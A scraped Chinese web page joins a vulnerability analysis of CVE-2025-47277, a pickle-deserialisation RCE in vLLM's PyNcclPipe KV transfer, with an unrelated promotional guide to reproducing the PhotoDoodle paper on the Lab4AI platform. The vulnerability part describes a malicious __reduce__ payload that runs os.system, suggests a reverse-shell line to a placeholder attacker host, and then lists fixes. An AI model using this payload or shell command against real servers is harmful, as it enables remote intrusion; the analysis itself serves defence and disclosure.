297CC;--lakex-alert-color5-bar-border:#D9C9F8;--lakex-alert-color5-bar-bg:var(--lakex-alert-color5-bar-border);--lakex-alert-color5-background:rgba(217,201,248,0.5);--lakex-alert-color5-border:#BA9BF2;--lakex-label-color0-bg:#F8CED3;--lakex-label-color0-border:#F1A2AB;--lakex-label-color0-text:#70000D;--lakex-label-color1-bg:#F6E1AC;--lakex-label-color1-border:#F5D480;--lakex-label-color1-text:#664900;--lakex-label-color2-bg:#DBF1B7;--lakex-label-color2-border:#C1E77E;--lakex-label-color2-text:#2A4200;--lakex-label-color3-bg:#EFF0F0;--lakex-label-color3-border:#EFF0F0;--lakex-label-color3-text:#262626;--lakex-label-color4-bg:#C0DDFC;--lakex-label-color4-border:#81BBF8;--lakex-label-color4-text:#00346B;--lakex-label-color5-bg:#C0CAFC;--lakex-label-color5-border:#96A7FD;--lakex-label-color5-text:#101E60;--lakex-calendar-blue-line:#117CEE;--lakex-calendar-blue-border:#81BBF8;--lakex-calendar-blue-background:#D9EAFC;--lakex-calendar-magenta-line:#D22D8D;--lakex-calendar-magenta-border:#F297CC;--lakex-calendar-magenta-background:#FBDFEF;--lakex-calendar-green-line:#74B602;--lakex-calendar-green-border:#C1E77E;--lakex-calendar-green-background:#E8F7CF;--lakex-calendar-red-line:#DF2A3F;--lakex-calendar-red-border:#F1A2AB;--lakex-calendar-red-background:#FBE4E7;--lakex-calendar-purple-line:#601BDE;--lakex-calendar-purple-border:#BA9BF2;--lakex-calendar-purple-background:#E6DCF9;--lakex-calendar-yellow-line:#ECAA04;--lakex-calendar-yellow-border:#F5D480;--lakex-calendar-yellow-background:#F9EFCD;}​
漏洞描述CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行（RCE）漏洞，源于其使用PyNcclPipe模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 Critical。影响范围条件说明影响版本vLLM >= 0.6.5 且 < 0.8.5影响模块VLLMEngineV0引擎中启用的PyNcclPipeKV 缓存传输机制受影响部署模式多节点分布式部署，KV 节点暴露在公网或未限制访问不受影响使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署漏洞环境搭建可以在本地搭建一个复现环境：●Python ≥ 3.8●vLLM == 0.8.3（或受影响版本）●PyTorch​代码解读​PyNcclPipe：vLLM 的分布式 KV 缓存传输模块，用于节点之间传输 tensor 数据。KVTransferConfig：用于配置 KV 缓存传输参数，例如端口、IP、rank 等​kv_ip：本地监听 IP，接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地（攻击时需开放公网 IP）。kv_port：网络监听端口（服务端口），攻击者通过该端口发送恶意数据。kv_rank：当前节点在分布式系统中的编号，0 表示主节点。kv_parallel_size：并行传输的节点数量，这里设为 1，表示单连接通信。kv_buffer_size：每次接收 tensor 的 buffer 大小。kv_buffer_device：buffer 存储设备，设为 "cpu" 表示张量数据缓存在 CPU 上。​创建一个 PyNcclPipe 对象，它封装了底层 TCP 通信逻辑，用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。​这是漏洞的触发点！recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。漏洞分析成因点描述不安全反序列化recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化，无身份校验或数据校验。网络暴露配置缺陷PyTorch 的TCPStore默认监听0.0.0.0，vLLM 用户配置--kv-ip也未能强制绑定私有 IP。内网信任假设过强vLLM 设计默认内网环境可信，缺乏防御恶意内部节点或入侵者横向移动的保护措施。在pynccl_pipe.py中调用了recv_obj()方法而recv_obj()方法中刚好对传入的字符串进行pickle反序列化漏洞复现攻击脚本代码分段解读：这里引入 StatelessProcessGroup，这是 vLLM 中用于节点间通信的一个工具类，封装了 TCP 通信逻辑。这是攻击的核心：__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',))，反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令，例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。这行代码创建了一个客户端通信节点：host：目标服务监听地址（本地测试用 127.0.0.1），port：目标服务监听端口（通常为服务端的 KV 服务端口），rank：当前通信节点的编号（1 表示攻击节点），world_size：分布式训练的总节点数（2 表示 2 个节点通信）这个接口实际上是将攻击者作为一个“合法”节点加入通信组。通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时，会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__()，间接调用 os.system('whoami')。运行后，目标机器会执行whoami命令，在实战环境下可以反弹shell漏洞修复vLLM 在 0.8.5 版本中已修复此漏洞：修复内容：● 强制TCPStore使用指定私有地址进行绑定（防止监听所有接口）● 改进通信逻辑，防止未经校验的pickle.loads被直接调用防护建议：●升级 vLLM 至 ≥ 0.8.5● 使用防火墙阻止来自不受信任源的连接（如仅允许 10.x 或 192.168.x IP）● 切换到 V1 引擎，其不使用该模块● 使用安全消息格式（如 JSON、protobuf），禁止pickle用于跨网络通信参考文章●github.com：https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv●github.com：https://github.com/vllm-project/vllm/pull/15988●github.com：https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7●docs.vllm.ai：https://docs.vllm.ai/en/latest/deployment/security.html.lakex-default-theme{--lakex-editor-background:#fff;--lakex-editor-background-primary:#fff;--lakex-editor-background-primary-hover:#EFF0F0;--lakex-editor-background-primary-hover-light:#E7E9E8;--lakex-editor-background-secondary:#FAFAFA;--lakex-editor-background-tertiary:#F4F5F5;--lakex-editor-background-foreground:#fff;--lakex-editor-border-light:rgba(0, 0, 0, 0.04);--lakex-editor-code-background:#0000000f;--lakex-editor-column-background-highlight:#D9EAFC7F;--lakex-editor-icon-secondary:#585A5A;--lakex-editor-selection:rgba(27, 162, 227, 0.2);--lakex-editor-table-bar-active:#2F8EF4CC;--lakex-editor-table-bar-danger:#E4495B5A;--lakex-editor-table-scrollbar-thumb:#00000033;--lakex-editor-text-color:#262626;--lakex-editor-text-body:#585A5A;--lakex-editor-text-caption:#8A8F8D;--lakex-editor-text-disable:#BEC0BF;--lakex-editor-text-link:#117CEE;--lakex-editor-text-link-hover:#5FA8F6;--lakex-editor-border-primary:#E7E9E8;--lakex-editor-card-background-hover:#5FA8F633;--lakex-editor-card-border-hover:#81BBF8;--lakex-editor-card-border-selected:#2F8EF4;--lakex-editor-color-black:#000;--lakex-editor-color-black-f05:rgba(0,0,0,0.05);--lakex-editor-color-black-f08:rgba(0,0,0,0.08);--lakex-editor-color-black-f12:rgba(0,0,0,0.12);--lakex-editor-color-black-f30:rgba(0,0,0,0.30);--lakex-editor-color-black-f65:rgba(0,0,0,0.65);--lakex-editor-color-blue1:#D9EAFC;--lakex-editor-color-blue2:#C0DDFC;--lakex-editor-color-blue3:#81BBF8;--lakex-editor-color-blue4:#5FA8F6;--lakex-editor-color-blue5:#2F8EF4;--lakex-editor-color-blue6:#117CEE;--lakex-editor-color-blue8:#074A92;--lakex-editor-color-blue9:#00346B;--lakex-editor-color-cyan1:#CEF5F7;--lakex-editor-color-cyan9:#004347;--lakex-editor-color-green5:#0BD07D;--lakex-editor-color-green6:#00B96B;--lakex-editor-color-green7:#009456;--lakex-editor-color-grey1:#FAFAFA;--lakex-editor-color-grey2:#F4F5F5;--lakex-editor-color-grey3:#EFF0F0;--lakex-editor-color-grey4:#E7E9E8;--lakex-editor-color-grey5:#D8DAD9;--lakex-editor-color-grey6:#BEC0BF;--lakex-editor-color-grey7:#8A8F8D;--lakex-editor-color-grey8:#585A5A;--lakex-editor-color-grey9:#262626;--lakex-editor-color-orange1:#FDE6D3;--lakex-editor-color-orange9:#663000;--lakex-editor-color-peaGreen1:#E8F7CF;--lakex-editor-color-peaGreen8:#406105;--lakex-editor-color-peaGreen9:#2A4200;--lakex-editor-color-red1:#FBE4E7;--lakex-editor-color-red4:#EA7583;--lakex-editor-color-red5:#E4495B;--lakex-editor-color-red6:#DF2A3F;--lakex-editor-color-red9:#70000D;--lakex-editor-color-theme:#00B96B;--lakex-editor-color-white:#fff;--lakex-editor-color-white-f60:rgba(255,255,255,0.6);--lakex-editor-color-white-f80:rgba(255,255,255,0.8);--lakex-editor-color-white-f90:rgba(255,255,255,0.9);--lakex-editor-color-yellow5:#F3BB2F;--lakex-alert-tips-bar-border:#BEC0BF;--lakex-alert-tips-bar-bg:#D8DAD9;--lakex-alert-tips-background:#EFF0F0;--lakex-alert-tips-border:#E7E9E8;--lakex-alert-info-bar-border:#C0DDFC;--lakex-alert-info-bar-bg:var(--lakex-alert-info-bar-border);--lakex-alert-info-background:rgba(192,221,252,0.5);--lakex-alert-info-border:#81BBF8;--lakex-alert-color1-bar-border:#B5EFF2;--lakex-alert-color1-bar-bg:var(--lakex-alert-color1-bar-border);--lakex-alert-color1-background:rgba(181,239,242,0.5);--lakex-alert-color1-border:#81DFE4;--lakex-alert-color2-bar-border:#C7F0DF;--lakex-alert-color2-bar-bg:var(--lakex-alert-color2-bar-border);--lakex-alert-color2-background:rgba(199,240,223,0.5);--lakex-alert-color2-border:#82EDC0;--lakex-alert-success-bar-border:#DBF1B7;--lakex-alert-success-bar-bg:var(--lakex-alert-success-bar-border);--lakex-alert-success-background:rgba(219,241,183,0.5);--lakex-alert-success-border:#C1E77E;--lakex-alert-warning-bar-border:#F6E1AC;--lakex-alert-warning-bar-bg:var(--lakex-alert-warning-bar-border);--lakex-alert-warning-background:rgba(246,225,172,0.5);--lakex-alert-warning-border:#F5D480;--lakex-alert-color3-bar-border:#F8D6B9;--lakex-alert-color3-bar-bg:var(--lakex-alert-color3-bar-border);--lakex-alert-color3-background:rgba(248,214,185,0.5);--lakex-alert-color3-border:#F8B881;--lakex-alert-danger-bar-border:#F8CED3;--lakex-alert-danger-bar-bg:var(--lakex-alert-danger-bar-border);--lakex-alert-danger-background:rgba(248,206,211,0.5);--lakex-alert-danger-border:#F1A2AB;--lakex-alert-color4-bar-border:#F7C4E2;--lakex-alert-color4-bar-bg:var(--lakex-alert-color4-bar-border);--lakex-alert-color4-background:rgba(247,196,226,0.5);--lakex-alert-color4-border:#F297CC;--lakex-alert-color5-bar-border:#D9C9F8;--lakex-alert-color5-bar-bg:var(--lakex-alert-color5-bar-border);--lakex-alert-color5-background:rgba(217,201,248,0.5);--lakex-alert-color5-border:#BA9BF2;--lakex-label-color0-bg:#F8CED3;--lakex-label-color0-border:#F1A2AB;--lakex-label-color0-text:#70000D;--lakex-label-color1-bg:#F6E1AC;--lakex-label-color1-border:#F5D480;--lakex-label-color1-text:#664900;--lakex-label-color2-bg:#DBF1B7;--lakex-label-color2-border:#C1E77E;--lakex-label-color2-text:#2A4200;--lakex-label-color3-bg:#EFF0F0;--lakex-label-color3-border:#EFF0F0;--lakex-label-color3-text:#262626;--lakex-label-color4-bg:#C0DDFC;--lakex-label-color4-border:#81BBF8;--lakex-label-color4-text:#00346B;--lakex-label-color5-bg:#C0CAFC;--lakex-label-color5-border:#96A7FD;--lakex-label-color5-text:#101E60;--lakex-calendar-blue-line:#117CEE;--lakex-calendar-blue-border:#81BBF8;--lakex-calendar-blue-background:#D9EAFC;--lakex-calendar-magenta-line:#D22D8D;--lakex-calendar-magenta-border:#F297CC;--lakex-calendar-magenta-background:#FBDFEF;--lakex-calendar-green-line:#74B602;--lakex-calendar-green-border:#C1E77E;--lakex-calendar-green-background:#E8F7CF;--lakex-calendar-red-line:#DF2A3F;--lakex-calendar-red-border:#F1A2AB;--lakex-calendar-red-background:#FBE4E7;--lakex-calendar-purple-line:#601BDE;--lakex-calendar-purple-border:#BA9BF2;--lakex-calendar-purple-background:#E6DCF9;--lakex-calendar-yellow-line:#ECAA04;--lakex-calendar-yellow-border:#F5D480;--lakex-calendar-yellow-background:#F9EFCD;}​
手把手教你进行论文复现，小白也能学会，赶紧收藏
手把手教你进行论文复现，小白也能学会，赶紧收藏复现，是你迈入“真科研”的第一步。你是不是常常看见学术圈或技术论坛中大家提到“论文复现”这个词，却不太明白它的含义？别急！这篇超详细的实操指南，从“是什么” 到 “怎么做”，再到 “避坑技巧”，手把手带小白走完第一次论文复现，赶紧收藏起来慢慢看～什么是“复现”？复现≠复制粘贴！它是用原作者公开的技术细节、实验步骤、代码仓库和数据集，自己动手重新实现，验证论文结果是否可重复的过程。简单说，就是跟着论文的“说明书”，亲自跑一遍实验,既能吃透论文核心逻辑，又能练编程、调参技能，还能检验研究成果的可靠性，毕竟学术研究的本质就是“可验证、可推广”。为什么要做论文复现？1. 深入理解核心技术复现的最大好处是能够从理论层面走向实践。光看论文中的理论、公式和结果可能无法完全理解其背后的实现细节，而亲自动手复现，可以让你更好地理解技术原理。2. 检验研究成果的可靠性论文中的研究结果，未必在其他环境下也能复现，尤其是涉及到数据集和模型训练等因素时。通过复现，我们可以验证这些结果是否具有普适性。3. 累积实战经验复现过程是一个实战的过程，尤其是在深度学习和机器学习、大模型领域，实验中的调参、数据处理、模型选择等都会是你宝贵的经验。对科研人员来说，复现一些经典论文是最直接的学习方式。手把手教你做第一个复现项目复现论文并不是一件容易的事，但只要你掌握了方法，逐步进行，也能顺利完成。接下来我们以《PhotoDoodle: Learning Artistic Image Editing from Few-Shot Examples》这篇论文为例，借助大模型实验室Lab4AI平台，带你从头开始复现。Step 1 找到合适的论文和代码复现的第一步是找到值得复现且能复现的论文和代码。大多数论文会将其代码发布在GitHub或其他平台上，因此你需要阅读论文，并且找到代码仓库的链接，链接通常附加在论文末尾或摘要部分。找到论文提供的GitHub开源代码后，你需要查看项目中是否有清晰的README文件，介绍如何配置环境、安装依赖、运行代码等。这里分享5个筛选项目的关键技巧，总结为“三查”核心原则：查信息完整性、查代码一致性、查资源可行性，帮你快速避坑：完整信息性：优先选择开源项目，尤其是原作者主动公开代码仓库、数据集，这种项目复现难度较低。同时，选择项目时优先关注项目活跃度、检查Star数、Fork数、更新频率、issue解决率等。一般情况下数值越高，说明社区认可度高、维护更及时，遇到问题更容易找到解决方案；代码一致性：检查代码和论文的实现是否一致。如果有问题，可以参考GitHub上的Issues查看是否有人遇到类似问题。资源可行性：检查项目是否提供完整依赖清单、数据集及模型下载链接。如果作者未提供，你可能需要额外花费大量时间寻找适配资源。在《PhotoDoodle》这篇论文中，GitHub上的代码仓库包含了与艺术图像编辑相关的实现，README有详细的项目介绍，包括了从少量样本中学习艺术风格的代码。需要重点关注以下几个部分：项目概述：了解这篇论文的核心思想，确认复现的目标。环境配置：确认环境依赖是否满足你的系统，查看Python、CUDA和其他必需库的版本。训练与推理代码：观察代码是否完整，并分析如何通过代码进行图像编辑任务，特别是如何加载预训练模型、微调模型、以及如何用少量图像进行训练。Step 2 配置环境并安装依赖本次我们选用大模型实验室Lab4AI来进行复现，平台提供灵活计费的H卡算力，闲时使用更优惠。您也可以使用本地资源或者实验室资源，进行本次复现。打开大模型实验室Lab4AI，登录大模型实验室Lab4AI平台。点击右侧“新建实例”，新建前建议先查看“GitHub项目的文档”的环境配置说明。Step 3 下载代码新建实例后，先下载论文代码，推荐4种常用方式：第一种：通过HTTPS方式。通过网页URL链接克隆，无需额外配置密钥，是最常用的方式；第二种：通过SSH方式。通过SSH密钥认证克隆，需通过SSH密钥认证克隆提前在GitHub账号绑定本地SSH密钥，更安全且无需重复输入密码；第三种：通过GitHub CLI方式。通过GitHub官方命令行工具克隆，需先安装并登录该工具，适合习惯命令行操作的用户；第四种：直接下载项目压缩包，不需要Git工具即可获取代码。Step 4 配置环境环境配置是复现的“重头戏”，按以下步骤操作，少踩 90% 的坑：(1) 创建独立虚拟环境，这样能够避免依赖冲突：conda create -n doodle python=3.11.10 # 创建环境 conda activate doodle # 激活环境(2) 安装PyTorch与项目依赖使用 cd 命令进入代码所在文件夹，再分两步安装。根据GitHub说明，通过pip安装所需的PyTorch及所有依赖。如果网络环境受限，可以选择国内的镜像源（如清华镜像）来加速下载：pip install torch==2.5.1 torchvision==0.20.1 torchaudio==2.5.1 --index-url https://download.pytorch.org/whl/cu124 pip install --upgrade -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simpleStep 5 执行推理由于这个项目的README.md文件先介绍的如何推理，再介绍了如何训练。所以，我们先执行推理，看一下推理效果。(1) 准备工作：① 由于CPU无法满足推理算力需求，所以需要重启Lab4AI实例并选择1卡GPU；②在终端执行conda activate doodle激活之前创建的Conda 环境，再通过cd 路径命令进入 PhotoDoodle 代码目录。(2) 运行推理代码：python inference.py(3) 常见问题解决：运行代码时出现一些依赖冲突与缺失的问题：“安装的 diffusers 版本过低”“huggingface-hub 版本过高，与其他不兼容”“缺少PEFT库”“安装的PEFT库版本过高与transformers库的版本不兼容”等等……遇到这些问题时，最好的方法是参考项目文档中提供的建议，查看GitHub Issues寻找解决方案，您也可以询问AI大模型寻找解决办法。（4）自定义输出：修改inference.py中的输入图像路径、编辑提示词等参数，重新运行可以看到获得不同的输出结果。Step 6 执行推理下载数据集和训练模型训练数据集与预训练模型是多数论文复现项目的基础支撑。《PhotoDoodle》项目的数据集及预训练模型的下载链接，都能在项目 GitHub 仓库的 README 文件中找到。在下载数据和预训练模型时，出现了多次因为网络问题而无法下载数据和模型的情况。核心原因可归为四类：第一：跨境网络限制。模型或数据多存于HuggingFace、GitHub、GoogleDrive等境外站点，国内直连易被限流、阻断。第二：源站或链路问题。源站限速、链接失效、CDN节点故障，或下载高峰导致服务器拥堵都可能导致网络问题。第三：本地配置问题。代理或梯子配置错误、防火墙拦截、下载工具无断点续传（大文件易断连），或本地带宽或网络稳定性差。第四：权限或合规限制。部分数据集或模型需授权访问，或源站设地域或IP限流，未满足则被拒绝连接。遇到网络问题时，您可以使用可靠的下载工具或者科学上网。Step 7 执行训练(1) 按论文提供的脚本执行一旦完成了环境配置和数据准备，接下来的步骤就是开始训练。执行训练代码时，我们依据GitHub项目中给出的命令执行。（2）个性化训练您也可以做一些个性化训练，按data 文件夹的格式组织自己的数据集，修改脚本中的参数即可实现自定义训练。复现高频问题及解决方案总结一下此次复现环节踩的坑以及对应的解决方法。小贴士：复现时一定要记笔记！把遇到的问题、解决方案、参数调整记录下来，下次复现能少走很多弯路～案论文复现总结论文复现的环境配置是一项系统性的工作。对新手而言，关键要抓住三个核心：前期筛选：用“三查”原则，查信息完整性、查代码一致性、查资源可行性。选择合适的开源项目，避开半开源、信息缺失的项目；环境配置：借助大模型实验室Lab4AI平台的预配置环境和独立虚拟环境，锁定依赖版本，按“安装 - 验证 - 调整”的步骤逐步推进，避免版本冲突；问题解决：遇到网络、依赖、配置问题时，按“定位原因 - 查找适配方案 - 验证效果”的逻辑处理，善用社区 issue、官方文档、镜像源工具和AI大模型工具。每一次成功的环境配置，都是对你工程解决问题能力的一次极好锻炼。希望这份详细指南能帮你避开弯路，顺利开启论文复现之旅。而Lab4AI大模型实验室，能为你提供一键复现方案，有效规避论文复现中的各类坑！平台实现算力与实践场景的无缝衔接，配备充足 H 卡算力，支持模型复现、训练、推理全流程，更具备灵活弹性、按需计费、低价高效的优势，完美解决缺高端算力、算力成本高的核心痛点。祝你复现顺利！GitLink开源创新服务平台与Lab4AI大模型实验室联合发起「论文头号玩家」论文复现计划。寻找百万「论文头号玩家」计划 | 首批复现体验官开放申请，最高可获500元算力金！本计划开放高性能H800 GPU算力，旨在降低复现门槛，推动学术成果的实践转化。 参与活动您将获得：